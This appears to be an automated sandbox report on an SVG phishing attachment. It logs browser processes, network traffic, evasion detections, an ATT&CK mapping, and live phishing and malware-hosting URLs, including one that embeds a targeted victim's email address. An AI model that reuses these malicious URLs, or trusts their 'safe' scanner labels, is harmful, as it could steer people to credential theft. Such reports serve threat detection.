Source: unknown	HTTPS traffic detected: 140.82.112.3:443 -> 192.168.2.5:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.110:443 -> 192.168.2.5:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.108.133:443 -> 192.168.2.5:49772 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.91:443 -> 192.168.2.5:49792 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.70.233:443 -> 192.168.2.5:49799 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.134:443 -> 192.168.2.5:49800 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.70.233:443 -> 192.168.2.5:49801 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.160.100:443 -> 192.168.2.5:49802 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.5:49821 version: TLS 1.2

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Windows\SystemTemp\scoped_dir8504_1580961344

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File deleted: C:\Windows\SystemTemp\scoped_dir8504_1580961344

Jump to behavior

Source: classification engine

Classification label: mal100.phis.evad.winSVG@25/76@38/20

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2312,i,10745882534302202489,2155989706674056279,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2560 /prefetch:3
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=printing.mojom.UnsandboxedPrintBackendHost --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2312,i,10745882534302202489,2155989706674056279,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=5080 /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "C:\Users\user\Desktop\EFTRemittance_Kenneth_KHQCSQELUN_attach.svg"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2312,i,10745882534302202489,2155989706674056279,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2560 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=printing.mojom.UnsandboxedPrintBackendHost --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2312,i,10745882534302202489,2155989706674056279,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=5080 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Malware Analysis System Evasion

Yara detected AntiDebug via timestamp check

Source: Yara match	File source: 1.3.d.script.csv, type: HTML
Source: Yara match	File source: 2.14..script.csv, type: HTML
Source: Yara match	File source: 2.15..script.csv, type: HTML
Source: Yara match	File source: 2.6.pages.csv, type: HTML
Source: Yara match	File source: 2.4.pages.csv, type: HTML
Source: Yara match	File source: 2.3.pages.csv, type: HTML
Source: Yara match	File source: 2.5.pages.csv, type: HTML

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Scripting	1 Extra Window Memory Injection	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 File Deletion	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Extra Window Memory Injection	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
https://nvgy.zonqdkqezktw.es/wxKnBd2Doxv9Z6xVjtUMsnFvUoGusamnwLkP04EiJZf9RJIab175	0%	Avira URL Cloud	safe
https://nvgy.zonqdkqezktw.es/ghQhE2pqDejp9Y7MdLFFMndvgOCaXawk5VYe2eZxyOT1tgw4UmIfT3vKsPMTBOknFywBmERJ12208	0%	Avira URL Cloud	safe
https://nvgy.zonqdkqezktw.es/efi3rk8wIUc9YMdOIaEU8OcmpCn4uvF0kxfeYCgUC9k78143	0%	Avira URL Cloud	safe
https://nvgy.zonqdkqezktw.es/qrQLFV4tBdUNjfGWPIgrlrtVJkYZvnuvG98dl4dyM35aDPMUKaoaJYwhqxOIWgef239	0%	Avira URL Cloud	safe
https://nvgy.zonqdkqezktw.es/favicon.ico	0%	Avira URL Cloud	safe
https://nvgy.zonqdkqezktw.es/GDSherpa-bold.woff2	0%	Avira URL Cloud	safe
https://nvgy.zonqdkqezktw.es/GDSherpa-vf2.woff2	0%	Avira URL Cloud	safe
https://nvgy.zonqdkqezktw.es/pwprw4n0USvq3YlbR2pqVrkJYJXs9t3TupoZvAT8a9LwBvbs8Wyp05	0%	Avira URL Cloud	safe
https://nvgy.zonqdkqezktw.es/wxFhtRtVhC7KMNNheLOCQWTqrKKKlUh9cVWK5ArQ12127	0%	Avira URL Cloud	safe
https://nvgy.zonqdkqezktw.es/GDSherpa-regular.woff2	0%	Avira URL Cloud	safe
https://rw4d0smqyf63vnruyvywkmg7lmehokwasku0akofn2ljmlxfma.magnusxw.es/52883719647951842359993wscJCZVWKWGESAZFZUVAXODKWAHCDFPGZHCRYTyzgMGWScu6Q2eU569GLTpcop50	0%	Avira URL Cloud	safe
https://nvgy.zonqdkqezktw.es/pqt96TcweYdqnhd0986jX7LXc1HTZ5PIiDfttsiNVCJVe1GjO9sUFkkwx3CloONWr9omO4xu8xXySeD7obeU2oc4DOnpN7rI1BQoscop344	0%	Avira URL Cloud	safe
https://nvgy.zonqdkqezktw.es/lobIFM35ef0YB7ynrIMZkoZzr3so5LWwiAwAFQMbzp	0%	Avira URL Cloud	safe
https://nvgy.zonqdkqezktw.es/GDSherpa-regular.woff	0%	Avira URL Cloud	safe
https://nvgy.zonqdkqezktw.es/GDSherpa-bold.woff	0%	Avira URL Cloud	safe
https://nvgy.zonqdkqezktw.es/34PRKAyS0bAW7iTwXghMi85IKNLzXZ67102	0%	Avira URL Cloud	safe
https://nvgy.zonqdkqezktw.es/abJCa5Je0mpqNDWcd22	0%	Avira URL Cloud	safe
https://nvgy.zonqdkqezktw.es/qrulsYFeJ7GfWwNXjnfefYVl4Kus0dgNtWkBuL45140	0%	Avira URL Cloud	safe
https://nvgy.zonqdkqezktw.es/kfBuTaOa7Rg6KwTAHoqu0U6wgRR0Y9yHEYj0Dew	0%	Avira URL Cloud	safe
https://rw4d0smqyf63vnruyvywkmg7lmehokwasku0akofn2ljmlxfma.magnusxw.es/52883719647951842359993wscJCZVWKWGESAZFZUVAXODKWAHCDFPGZHCRYTyzwHvZn4qpm8fOs78QOKdpAKYop50	0%	Avira URL Cloud	safe
https://nvgy.zonqdkqezktw.es/klbBQk5yHo1GShhrCaUyu3MnfEcdjJd2M8FvkZbk73cpOIuTJ56170	0%	Avira URL Cloud	safe
https://nvgy.zonqdkqezktw.es/stBXwT2sbjUayhGwpr3Q9ZyNUZxklYmVVXrORKRzNqS5g672qid6nJr35VzqrtK54MbcUQMef256	0%	Avira URL Cloud	safe
https://nvgy.zonqdkqezktw.es/GDSherpa-vf.woff2	0%	Avira URL Cloud	safe
https://nvgy.zonqdkqezktw.es/56qKfabgxy7BW6719	0%	Avira URL Cloud	safe
https://rw4d0smqyf63vnruyvywkmg7lmehokwasku0akofn2ljmlxfma.magnusxw.es/52883719647951842359993wscJCZVWKWGESAZFZUVAXODKWAHCDFPGZHCRYTyzMdrY59wxJH5hGZ56pCGMAX4Qqr50	0%	Avira URL Cloud	safe
https://a3fv1.ajcffp.ru/rand$5ef7y	0%	Avira URL Cloud	safe
https://nvgy.zonqdkqezktw.es/rsANu3SFS4iI8L02ocqhJnUxRIMTrghludnRwalmcU3o0yV9dwT3jfcd200	0%	Avira URL Cloud	safe
https://rw4d0smqyf63vnruyvywkmg7lmehokwasku0akofn2ljmlxfma.magnusxw.es/52883719647951842359993wscJCZVWKWGESAZFZUVAXODKWAHCDFPGZHCRYTrs1CE7p3D3U1Rq7yzEDwx40	0%	Avira URL Cloud	safe

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Reputation
a.nel.cloudflare.com	35.190.80.1	true	false	high
nvgy.zonqdkqezktw.es	104.21.112.1	true	true	unknown
code.jquery.com	151.101.130.137	true	false	high
developers.cloudflare.com	104.16.6.189	true	false	high
rw4d0smqyf63vnruyvywkmg7lmehokwasku0akofn2ljmlxfma.magnusxw.es	104.21.66.134	true	false	unknown
cdnjs.cloudflare.com	104.17.25.14	true	false	high
github.com	140.82.112.3	true	false	high
a3fv1.ajcffp.ru	172.67.196.11	true	false	unknown
get.geojs.io	172.67.70.233	true	false	high
www.google.com	142.250.81.228	true	false	high
d19d360lklgih4.cloudfront.net	18.164.124.110	true	false	high
objects.githubusercontent.com	185.199.108.133	true	false	high
ok4static.oktacdn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://nvgy.zonqdkqezktw.es/8VVgl7/$kenneth@arts.state.tx.us	false		unknown
https://ok4static.oktacdn.com/fs/bcg/4/gfsh9pi7jcWKJKMAs1t7	false		high
https://nvgy.zonqdkqezktw.es/efi3rk8wIUc9YMdOIaEU8OcmpCn4uvF0kxfeYCgUC9k78143	false	Avira URL Cloud: safe	unknown
https://code.jquery.com/jquery-3.6.0.min.js	false		high
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js	false		high
https://nvgy.zonqdkqezktw.es/GDSherpa-regular.woff2	false	Avira URL Cloud: safe	unknown
https://nvgy.zonqdkqezktw.es/favicon.ico	false	Avira URL Cloud: safe	unknown
https://nvgy.zonqdkqezktw.es/ghQhE2pqDejp9Y7MdLFFMndvgOCaXawk5VYe2eZxyOT1tgw4UmIfT3vKsPMTBOknFywBmERJ12208	false	Avira URL Cloud: safe	unknown
https://nvgy.zonqdkqezktw.es/wxKnBd2Doxv9Z6xVjtUMsnFvUoGusamnwLkP04EiJZf9RJIab175	false	Avira URL Cloud: safe	unknown
https://ok4static.oktacdn.com/assets/js/sdk/okta-signin-widget/7.18.0/css/okta-sign-in.min.css	false		high
https://nvgy.zonqdkqezktw.es/GDSherpa-vf2.woff2	false	Avira URL Cloud: safe	unknown
https://nvgy.zonqdkqezktw.es/qrQLFV4tBdUNjfGWPIgrlrtVJkYZvnuvG98dl4dyM35aDPMUKaoaJYwhqxOIWgef239	false	Avira URL Cloud: safe	unknown
https://nvgy.zonqdkqezktw.es/GDSherpa-bold.woff2	false	Avira URL Cloud: safe	unknown
https://nvgy.zonqdkqezktw.es/wxFhtRtVhC7KMNNheLOCQWTqrKKKlUh9cVWK5ArQ12127	false	Avira URL Cloud: safe	unknown
https://nvgy.zonqdkqezktw.es/pwprw4n0USvq3YlbR2pqVrkJYJXs9t3TupoZvAT8a9LwBvbs8Wyp05	false	Avira URL Cloud: safe	unknown
https://nvgy.zonqdkqezktw.es/pqt96TcweYdqnhd0986jX7LXc1HTZ5PIiDfttsiNVCJVe1GjO9sUFkkwx3CloONWr9omO4xu8xXySeD7obeU2oc4DOnpN7rI1BQoscop344	false	Avira URL Cloud: safe	unknown
https://ok4static.oktacdn.com/assets/loginpage/css/loginpage-theme.e0d37a504604ef874bad26435d62011f.css	false		high
https://nvgy.zonqdkqezktw.es/royrhenxvzfixwzowxlvzgogwieuwutxvkqbbrhrmfxtrzifjhsic415qkjlmkzw90f?WFIJKNWOTPMLPZJ	true		unknown
https://rw4d0smqyf63vnruyvywkmg7lmehokwasku0akofn2ljmlxfma.magnusxw.es/52883719647951842359993wscJCZVWKWGESAZFZUVAXODKWAHCDFPGZHCRYTyzgMGWScu6Q2eU569GLTpcop50	false	Avira URL Cloud: safe	unknown
https://nvgy.zonqdkqezktw.es/GDSherpa-regular.woff	false	Avira URL Cloud: safe	unknown
https://nvgy.zonqdkqezktw.es/GDSherpa-bold.woff	false	Avira URL Cloud: safe	unknown
https://nvgy.zonqdkqezktw.es/34PRKAyS0bAW7iTwXghMi85IKNLzXZ67102	false	Avira URL Cloud: safe	unknown
https://a.nel.cloudflare.com/report/v4?s=Zu%2ByaUeYS61IHYNYaYcoTcB3yGMTnmtON9sXcnWF7%2FYVRuWcLzcUbivKUoV98BQjEcbseWCXBr9R%2BPSBkscy3bg0ArgocnccjsNwlV%2FKwNJ0Z2ASev1JBILdjR4G8N6XiK6M	false		high
https://nvgy.zonqdkqezktw.es/lobIFM35ef0YB7ynrIMZkoZzr3so5LWwiAwAFQMbzp	false	Avira URL Cloud: safe	unknown
https://nvgy.zonqdkqezktw.es/abJCa5Je0mpqNDWcd22	false	Avira URL Cloud: safe	unknown
https://nvgy.zonqdkqezktw.es/qrulsYFeJ7GfWwNXjnfefYVl4Kus0dgNtWkBuL45140	false	Avira URL Cloud: safe	unknown
https://developers.cloudflare.com/favicon.png	false		high
https://nvgy.zonqdkqezktw.es/kfBuTaOa7Rg6KwTAHoqu0U6wgRR0Y9yHEYj0Dew	false	Avira URL Cloud: safe	unknown
https://rw4d0smqyf63vnruyvywkmg7lmehokwasku0akofn2ljmlxfma.magnusxw.es/52883719647951842359993wscJCZVWKWGESAZFZUVAXODKWAHCDFPGZHCRYTyzwHvZn4qpm8fOs78QOKdpAKYop50	false	Avira URL Cloud: safe	unknown
https://nvgy.zonqdkqezktw.es/klbBQk5yHo1GShhrCaUyu3MnfEcdjJd2M8FvkZbk73cpOIuTJ56170	false	Avira URL Cloud: safe	unknown
https://nvgy.zonqdkqezktw.es/stBXwT2sbjUayhGwpr3Q9ZyNUZxklYmVVXrORKRzNqS5g672qid6nJr35VzqrtK54MbcUQMef256	false	Avira URL Cloud: safe	unknown
https://nvgy.zonqdkqezktw.es/GDSherpa-vf.woff2	false	Avira URL Cloud: safe	unknown
https://nvgy.zonqdkqezktw.es/56qKfabgxy7BW6719	false	Avira URL Cloud: safe	unknown
https://get.geojs.io/v1/ip/geo.json	false		high
https://rw4d0smqyf63vnruyvywkmg7lmehokwasku0akofn2ljmlxfma.magnusxw.es/52883719647951842359993wscJCZVWKWGESAZFZUVAXODKWAHCDFPGZHCRYTyzMdrY59wxJH5hGZ56pCGMAX4Qqr50	false	Avira URL Cloud: safe	unknown
https://a3fv1.ajcffp.ru/rand$5ef7y	false	Avira URL Cloud: safe	unknown
https://nvgy.zonqdkqezktw.es/rsANu3SFS4iI8L02ocqhJnUxRIMTrghludnRwalmcU3o0yV9dwT3jfcd200	false	Avira URL Cloud: safe	unknown
https://rw4d0smqyf63vnruyvywkmg7lmehokwasku0akofn2ljmlxfma.magnusxw.es/52883719647951842359993wscJCZVWKWGESAZFZUVAXODKWAHCDFPGZHCRYTrs1CE7p3D3U1Rq7yzEDwx40	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.bestbuy.com	chromecache_128.1.dr	false		high
https://github.com/fent)	chromecache_117.1.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
140.82.112.3	github.com	United States	36459	GITHUBUS	false
104.21.64.1	unknown	United States	13335	CLOUDFLARENETUS	false
104.21.92.165	unknown	United States	13335	CLOUDFLARENETUS	false
151.101.130.137	code.jquery.com	United States	54113	FASTLYUS	false
172.67.196.11	a3fv1.ajcffp.ru	United States	13335	CLOUDFLARENETUS	false
104.21.112.1	nvgy.zonqdkqezktw.es	United States	13335	CLOUDFLARENETUS	true
104.16.6.189	developers.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
104.16.2.189	unknown	United States	13335	CLOUDFLARENETUS	false
172.67.160.100	unknown	United States	13335	CLOUDFLARENETUS	false
18.164.124.91	unknown	United States	3	MIT-GATEWAYSUS	false
142.250.81.228	www.google.com	United States	15169	GOOGLEUS	false
104.21.66.134	rw4d0smqyf63vnruyvywkmg7lmehokwasku0akofn2ljmlxfma.magnusxw.es	United States	13335	CLOUDFLARENETUS	false
18.164.124.110	d19d360lklgih4.cloudfront.net	United States	3	MIT-GATEWAYSUS	false
172.67.70.233	get.geojs.io	United States	13335	CLOUDFLARENETUS	false
185.199.108.133	objects.githubusercontent.com	Netherlands	54113	FASTLYUS	false
104.17.25.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.5
192.168.2.23
192.168.2.13

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1649549
Start date and time:	2025-03-26 22:10:03 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 23s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 134, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	EFTRemittance_Kenneth_KHQCSQELUN_attach.svg
Detection:	MAL
Classification:	mal100.phis.evad.winSVG@25/76@38/20
Cookbook Comments:	Found application associated with file extension: .svg

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 23.204.23.20, 142.251.35.163, 142.250.80.110, 172.253.122.84, 142.250.65.238, 142.250.72.106, 142.250.80.10, 142.250.80.42, 142.250.80.74, 142.250.80.106, 142.250.176.202, 142.251.40.202, 142.251.40.234, 142.251.41.10, 172.217.165.138, 142.250.65.170, 142.250.65.202, 142.250.65.234, 142.250.81.234, 142.251.32.106, 142.251.35.170, 23.210.73.6, 142.250.65.163, 142.251.40.174, 4.175.87.197, 20.199.58.43, 150.171.28.10, 23.57.90.158
Excluded domains from analysis (whitelisted): www.bing.com, clients1.google.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, clientservices.googleapis.com, g.bing.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, e16604.dscf.akamaiedge.net, arc.msn.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, edgedl.me.gvt1.com, redirector.gvt1.com, update.googleapis.com, clients.l.google.com, prod.fs.microsoft.com.akadns.net
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
140.82.112.3	http://github.com/chrisant996/clink/releases/download/v1.6.12/clink.1.6.12.5cd618.zip	Get hash	malicious	Unknown	Browse	github.com/chrisant996/clink/releases/download/v1.6.12/clink.1.6.12.5cd618.zip
104.21.64.1	UuhANT$345432.exe	Get hash	malicious	FormBook	Browse	www.nolae-eu.shop/11jg/
	SWIFT MT103.Pdf.exe	Get hash	malicious	FormBook	Browse	www.auto-total.info/bt6e/
	payment copy.exe	Get hash	malicious	FormBook	Browse	www.dramavietsub.net/8lwh/
	Compliance_Review_Documents_COSCO20250307_pdf.bat.exe	Get hash	malicious	Lokibot	Browse	touxzw.ir/sccc/five/fre.php
	0xHPSESJcg.exe	Get hash	malicious	FormBook	Browse	www.otogel.pro/oi08/?Ezu=HLGOigk8zC7c6l2lrMh01rQ2OJKxivxPRh38Fqcsh+790en3zOTPiNsvxvX68DUiI9Ju&q6A=GbtXjbKPa
	7zKn77RsRX.exe	Get hash	malicious	FormBook	Browse	www.newanthoperso.shop/3nis/
	IBbGrGi4A7.exe	Get hash	malicious	FormBook	Browse	www.rbopisalive.cyou/a669/
	ysWQ4BqQrF.exe	Get hash	malicious	FormBook	Browse	www.play-vanguard-nirvana.xyz/egs9/?mVfp=MTrLPvVhZLm&K8elV=2m/uVQwqKH2EIWlawszTKzvIepBfVH/HI19qzylF05nDLsWuBLn1pb4DiFDzbC4NqmTLwL8cGw==
	TXzf0xX2uq.exe	Get hash	malicious	Lokibot	Browse	touxzw.ir/tking3/five/fre.php
	begin.exe	Get hash	malicious	DarkTortilla, FormBook	Browse	www.kdrqcyusevx.info/z84n/
104.21.92.165	https://acrobat.adobe.com/id/urn:aaid:sc:EU:dd1dc65d-ce42-4138-a001-66d6a6601091	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	Helenaagri profit_sharing_plan.pdf	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	https://acrobat.adobe.com/id/urn:aaid:sc:EU:ed356bc9-bf5a-442b-8177-cf362f34cfc8	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	https://protect.checkpoint.com/v2/r02/___https://lsems.gravityzone.bitdefender.com/xhfsdfMW5hMR~QDcqg1KugH/rhrqqgrWni2pyg1KugH/og75AgMRA37Cu37x!i2GzU2ZBRIJzYIFyRp4R0KWU0rWugMmJiYWAVpWKV1K4i6V8hIZ5SM0ZiLWEW1OmR5/DRLcQX0iG12ODR6m0Z2uCX54XhMGr31/03pyTfZ6rYZi~XpqUQYOHR1KUiJS11Z/0T2qVjY4XRZcYgpc9i5uJWYR7g20EjL0/YM46gJCqg7mLRrm6jJc4gn5DVr69X0OQV6WNfKt6Z1h7XJOYhqWIX20v3pR/S20XfZm6f1WH4qtBZKWOY6Wx4rKpZ0Onh80BSLOY4Mh83r/3ZsWx36GrQYOHS2SniIWZV507V1OzioqTfo0xY7S5jJhCSsiRhLiZZI4L35OUYZm~hJ/~js4tfpuWh5qOiIJ9fMm8gK0CTM04fsiv4555ipVyRpOyTY0xjK0AT1mQYYOfW5uUS842iqiCjr4qXIJ73o0Sg80RRoqYjI0~j0uN1qiWWpmz3sJBS6Z701OyRrSBfH5DWpWo3oSC02OW1JKCi5/DRsSt4KS/RImw1KZyRp49hsi~f6uZRsioj2uZR2mUg0KsQYOHiEK6RJ0/W8SoQYOHXZuJSoGRTMqP3rS2gr/t01xD4MF70sSmSLOOZ64Xh1/fi7bCW6G9f5OMVsGNgYW8XIqsSMq~TJR8RJxBgKq0XE09hr/5jqmJZ6mxR2STVryCZpC3WrcNf0JESsVDZM35QYOLRs0GRZc44pm4jYKUQYOLfM0xZ2W8X8iMf04SQYOLWIG7jpOt2EWBf1mNj1iTZ5NBhoqX4qhB4IV5Y5W7QYOHZZ/zgLb60KGB4sOxWZyqWqKnj1u01pWE3YOEiJms1MhB08uJjLiDZZBC00WSjMmq1ImDX6mPVYS0X0KYZ7yL4sKD3oGL4Jh912KMW2FDY0tBYEVE315DYZ65XZ4uTZiKXYixi6SOS5VDSZC5WsmSfKG5R53BjL6xfEKwSKuG12SX0KGAZ8W7R5WBSLl812iWf1Kq3r0vTLqHX5/LR50UWZ06TYKNRrcVd~FG88JcGJ/FGF88986aFHbKbb/JIIK/89KHGK8IHaG/I8KIcbba6c7cKI68GGKI7?h=6&fru;n=6&fru;ithx=6___.YzJlOmdhbmdzdGVyOmM6bzpiMTVjN2QxOWQyYmUwNTY1NzUzNWNiMjU5MjdlZDQxYTo3OjBjYTc6YjUxOGI0N2MzNmJhYjUzNGU2MzNkZWE3MDBkNGExYmIwNzljNzhmMDU2MmNkNzkwZDBhMjM3MDE5NjU0YTZkNTpoOlQ6VA	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	#U25b6#Ufe0fPLAY-VOICMAIL(2).svg	Get hash	malicious	Invisible JS, Tycoon2FA	Browse
	EXTERNAL Cash Flow Analysis Final Review Needed Before Submission.msg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	https://app.heptabase.com/w/9572b61a878f03208943512867a816847d4d23b4f7ccb0a7fe97bab5d1ad7da7	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	https://steam-workshop.vip/	Get hash	malicious	HTMLPhisher	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
developers.cloudflare.com	https://publuu.com/flip-book/831678/1829815?utm_source=google%252C+newsletter%252C+facebook%252C+bing&utm_medium=paid-search&utm_campaign=summer_sale-product_launch_e5e6475977744726be143cf8cd129b6e_1742989231156&utm_term=running%252Bshoes%252C+blue%252Bdress&utm_content=school%252C+education%252C+classroom	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.2.189
	FW_ FW_ DirectDeposit# 952759 _ Payment_ HSAAZDIXHI [ID_0024087].eml	Get hash	malicious	Invisible JS, Tycoon2FA	Browse	104.16.4.189
	https://www.google.com/url?q=https%3A%2F%2Fcsnrda.net%2Fun-plugins%2F&sa=D&sntz=1&usg=AOvVaw1HtbC798C9cvS3J1_HKx3j#?8407378349Family=a2lyc3RpZS5yZWVzQHF1aWx0ZXJjaGV2aW90LmNvbQ==	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.2.189
	https://ergc.onirique5.com/xRmONkR9H3tSwgZ6bakdPQM/	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.6.189
